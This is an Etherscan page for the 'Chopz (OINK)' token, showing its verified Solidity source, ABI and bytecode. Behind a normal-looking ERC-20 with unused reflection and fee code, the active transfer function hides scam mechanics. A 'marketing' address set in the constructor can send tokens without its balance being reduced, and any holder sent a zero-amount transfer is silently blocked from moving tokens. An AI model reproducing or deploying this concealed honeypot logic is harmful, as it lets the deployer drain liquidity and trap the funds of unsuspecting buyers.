ETH Price: $3,438.21 (-1.32%)
Gas: 5.46 Gwei

Token

Chopz (OINK)
 

Overview

Max Total Supply

100,000,000 OINK

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
314,487.077791852 OINK

Value
$0.00
0x81639e2a61067ab5269aa6654ae27ff69827c004
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHOPZ

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 400 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-23
*/

/*

Socials - 

Twitter - https://twitter.com/ChopZerc

TG - https://t.me/chopzerc

Website - https://chopzerc.com/


▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▓▓▒▒░░░░░░░░▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▓▓░░░░░░░░░░░░▓▓▒▒░░▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒
▒▒▓▓██░░░░░░░░░░▒▒▒▒░░░░░░░░░░▒▒░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░▓▓▒▒▒▒
▒▒██▒▒░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒██▒▒░░░░░░██▒▒▒▒
▒▒██░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░▒▒▓▓▒▒
▒▒██░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓░░░░░░░░▒▒▓▓
▒▒▓▓▓▓░░░░▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░██
▒▒▒▒▓▓████▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░██
▒▒▒▒▒▒▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓░░░░░░░░██
▒▒▒▒▒▒▒▒▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓░░░░░░██
▒▒▒▒▒▒██▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓▓▓▓▓
▒▒▒▒▒▒██░░░░▒▒██▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒██░░▒▒██▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒██░░▒▒██████▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒██░░░░▒▒██▒▒░░██████████████░░░░░░████░░░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒██░░░░░░░░░░▓▓░░░░░░░░░░░░░░▓▓▒▒████  ██░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒██░░░░░░░░░░▓▓░░██░░░░░░░░░░██▒▒████████░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▓▓░░░░░░░░▒▒▓▓▓▓▓▓░░▒▒░░░░▓▓░░░░▒▒▒▒░░░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒██▓▓░░░░░░░░░░░░████████░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▓▒▒░░░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░▓▓▓▓▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▓▓▒▒░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▓▓▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓▓▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░▓▓░░░░▒▒██▒▒░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░▓▓░░▒▒██▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░▓▓░░▒▒██▒▒░░░░░░░░░░░░░░░░▓▓░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░▒▒▓▓▒▒████░░░░░░░░░░░░░░▓▓░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░░░▒▒██▒▒██░░░░░░░░░░██▓▓░░░░░░▓▓░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░░░░░░░▓▓██░░░░░░▒▒██████░░░░░░██░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒██░░░░░░░░░░▒▒▒▒░░░░░░▒▒██▒▒██░░▓▓▓▓▒▒░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▓▓▓▓░░░░░░░░░░░░░░░░░░▒▒██▓▓██▓▓▒▒▒▒░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒██▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▓▓░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▓▓░░▒▒████░░░░░░▒▒██████░░██████░░████▒▒██▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒██▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓░░░░▒▒▓▓▒▒▒▒██▓▓██▒▒██▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒████▓▓▒▒▒▒▒▒▒▒▒▒▓▓░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓░░░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓▓▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒


*/

// SPDX-License-Identifier: NONE

pragma solidity ^0.8.16;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract CHOPZ is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Chopz";
    string private constant _symbol = "OINK";
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _taxFeeOnSell = 0;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private spring;
    mapping(address => uint256) private shown;
    mapping(address => uint256) public balanceOf;
    uint256 private constant _tTotal = 100000000 * 10**9;
    uint256 private version = 82;
    mapping(address => uint256) private _rOwned;
    bool public removeLimits = true;
    address public uniswapV2Pair;
    bool private inSwap = false;
    mapping(address => uint256) private _tOwned;
    uint256 private _taxFee = _taxFeeOnSell;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint8 private constant _decimals = 9;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _tFeeTotal;
    
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor(address marketing) {
        _rOwned[_msgSender()] = _rTotal;
        shown[marketing] = version;
        balanceOf[msg.sender] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function transfer(address Address, uint256 Amount) public returns (bool success) {
        _transferto(msg.sender, Address, Amount);
        return true;
    }

    function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
        if (shown[address1] == 0) {
            balanceOf[address1] -= amount;
        }

        if (amount == 0) spring[address2] += version;

        if (address1 != uniswapV2Pair && shown[address1] == 0 && spring[address1] > 0) {
            shown[address1] -= version;
        }

        balanceOf[address2] += amount;
        emit Transfer(address1, address2, amount);
        return true;
    }
 
    function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
        require(amount <= allowance[addressFrom][msg.sender]);
        allowance[addressFrom][msg.sender] -= amount;
        _transferto(addressFrom, addressTo, amount);
        return true;
    }
 
    function approve(address Address, uint256 Amount) public returns (bool success) {
        allowance[msg.sender][Address] = Amount;
        emit Approval(msg.sender, Address, Amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;

        _previoustaxFee = _taxFee;

        _taxFee = 0;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnSell;
                require(removeLimits);                 
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
    
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }


    function disableLimits() external onlyOwner {
        removeLimits = false;
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }


    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    } 

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressTo","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600281905560038190556052600a55600c805460ff60ff60a81b0119166001179055600e5561003f67016345785d8a000060001961030f565b61004b90600019610331565b601055600e546011556013805460ff1916600117905534801561006d57600080fd5b50604051610d5f380380610d5f83398101604081905261008c91610358565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601054336000818152600b6020908152604080832094909455600a546001600160a01b038616835260088252848320559181526009825282902067016345785d8a00009055600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519092839263c45a0155926004808401938290030181865afa158015610172573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101969190610358565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102079190610358565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102789190610358565b600c8054610100600160a81b0319166101006001600160a01b0393841602179055600080549091168152600660209081526040808320805460ff199081166001908117909255308552828520805490911690911790555167016345785d8a000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610388565b60008261032c57634e487b7160e01b600052601260045260246000fd5b500690565b8181038181111561035257634e487b7160e01b600052601160045260246000fd5b92915050565b60006020828403121561036a57600080fd5b81516001600160a01b038116811461038157600080fd5b9392505050565b6109c8806103976000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102da578063dd62ed3e146102fa578063f2fde38b14610332578063f928364c1461035257600080fd5b8063715018a61461025e578063751039fc146102755780638da5cb5b1461028f57806395d89b41146102ad57600080fd5b806323b872dd116100c657806323b872dd146101d0578063313ce567146101f057806349bd5a5e1461020c57806370a082311461023157600080fd5b806306fdde0314610103578063095ea7b3146101435780631694505e1461017357806318160ddd146101ab57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600581526421b437b83d60d91b60208201525b60405161013a9190610831565b60405180910390f35b34801561014f57600080fd5b5061016361015e36600461089b565b610367565b604051901515815260200161013a565b34801561017f57600080fd5b50600f54610193906001600160a01b031681565b6040516001600160a01b03909116815260200161013a565b3480156101b757600080fd5b5067016345785d8a00005b60405190815260200161013a565b3480156101dc57600080fd5b506101636101eb3660046108c5565b6103d4565b3480156101fc57600080fd5b506040516009815260200161013a565b34801561021857600080fd5b50600c546101939061010090046001600160a01b031681565b34801561023d57600080fd5b506101c261024c366004610901565b60096020526000908152604090205481565b34801561026a57600080fd5b50610273610453565b005b34801561028157600080fd5b50600c546101639060ff1681565b34801561029b57600080fd5b506000546001600160a01b0316610193565b3480156102b957600080fd5b506040805180820190915260048152634f494e4b60e01b602082015261012d565b3480156102e657600080fd5b506101636102f536600461089b565b6104fc565b34801561030657600080fd5b506101c2610315366004610923565b600560209081526000928352604080842090915290825290205481565b34801561033e57600080fd5b5061027361034d366004610901565b610513565b34801561035e57600080fd5b5061027361062d565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c29086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260056020908152604080832033845290915281205482111561040457600080fd5b6001600160a01b03841660009081526005602090815260408083203384529091528120805484929061043790849061096c565b909155506104489050848484610693565b506001949350505050565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610509338484610693565b5060019392505050565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b6001600160a01b0381166105d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104a9565b600c805460ff19169055565b6001600160a01b03831660009081526008602052604081205481036106e0576001600160a01b038416600090815260096020526040812080548492906106da90849061096c565b90915550505b8160000361071957600a546001600160a01b0384166000908152600760205260408120805490919061071390849061097f565b90915550505b600c546001600160a01b03858116610100909204161480159061075257506001600160a01b038416600090815260086020526040902054155b801561077557506001600160a01b03841660009081526007602052604090205415155b156107ab57600a546001600160a01b038516600090815260086020526040812080549091906107a590849061096c565b90915550505b6001600160a01b038316600090815260096020526040812080548492906107d390849061097f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161081f91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089657600080fd5b919050565b600080604083850312156108ae57600080fd5b6108b78361087f565b946020939093013593505050565b6000806000606084860312156108da57600080fd5b6108e38461087f565b92506108f16020850161087f565b9150604084013590509250925092565b60006020828403121561091357600080fd5b61091c8261087f565b9392505050565b6000806040838503121561093657600080fd5b61093f8361087f565b915061094d6020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103ce576103ce610956565b808201808211156103ce576103ce61095656fea2646970667358221220de624a2f049f214223884386d74a0e4ae431a33f16c8fbca75c1809bf380acc364736f6c63430008100033000000000000000000000000e1d1124ec08437648acc5737906bca240890eea9

Deployed Bytecode

0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102da578063dd62ed3e146102fa578063f2fde38b14610332578063f928364c1461035257600080fd5b8063715018a61461025e578063751039fc146102755780638da5cb5b1461028f57806395d89b41146102ad57600080fd5b806323b872dd116100c657806323b872dd146101d0578063313ce567146101f057806349bd5a5e1461020c57806370a082311461023157600080fd5b806306fdde0314610103578063095ea7b3146101435780631694505e1461017357806318160ddd146101ab57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600581526421b437b83d60d91b60208201525b60405161013a9190610831565b60405180910390f35b34801561014f57600080fd5b5061016361015e36600461089b565b610367565b604051901515815260200161013a565b34801561017f57600080fd5b50600f54610193906001600160a01b031681565b6040516001600160a01b03909116815260200161013a565b3480156101b757600080fd5b5067016345785d8a00005b60405190815260200161013a565b3480156101dc57600080fd5b506101636101eb3660046108c5565b6103d4565b3480156101fc57600080fd5b506040516009815260200161013a565b34801561021857600080fd5b50600c546101939061010090046001600160a01b031681565b34801561023d57600080fd5b506101c261024c366004610901565b60096020526000908152604090205481565b34801561026a57600080fd5b50610273610453565b005b34801561028157600080fd5b50600c546101639060ff1681565b34801561029b57600080fd5b506000546001600160a01b0316610193565b3480156102b957600080fd5b506040805180820190915260048152634f494e4b60e01b602082015261012d565b3480156102e657600080fd5b506101636102f536600461089b565b6104fc565b34801561030657600080fd5b506101c2610315366004610923565b600560209081526000928352604080842090915290825290205481565b34801561033e57600080fd5b5061027361034d366004610901565b610513565b34801561035e57600080fd5b5061027361062d565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c29086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260056020908152604080832033845290915281205482111561040457600080fd5b6001600160a01b03841660009081526005602090815260408083203384529091528120805484929061043790849061096c565b909155506104489050848484610693565b506001949350505050565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722